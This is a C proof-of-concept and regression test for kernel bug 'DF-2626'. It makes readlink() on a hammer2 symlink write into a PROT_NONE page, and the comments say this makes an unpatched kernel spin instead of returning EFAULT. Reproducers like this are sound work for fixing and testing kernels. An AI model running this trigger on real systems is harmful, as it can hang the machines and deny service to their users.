DF-2626 / readlink_poc.c
/* * DF-2626 readlink variant. The symlink lives on the hammer2 root fs * (/home/maxx), readlink() reads its target string via VOP_READLINK -> * hammer2_vop_readlink -> hammer2_read_file (same discarded-error loop). * Destination is a PROT_NONE page -> fault at byte 0. */ #include <sys/mman.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BADADDR ((void *)0x10000000) #define LINK "/home/maxx/df2626link" int main(void) { void *bad; ssize_t r; if (symlink("/etc/rc", LINK) < 0 && errno != EEXIST) { perror("symlink"); return (2); } bad = mmap(BADADDR, 4096, PROT_NONE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); if (bad != BADADDR) { perror("mmap"); return (2); } printf("DF-2626 readlink: calling readlink(%s, %p, 4096)\n", LINK, BADADDR); fflush(stdout); r = readlink(LINK, BADADDR, 4096); /* stock kernel: spins */ printf("DF-2626 readlink returned %zd errno=%d (%s) — bug NOT reproduced\n", r, errno, strerror(errno)); return ((r == -1 && errno == EFAULT) ? 0 : 1); } |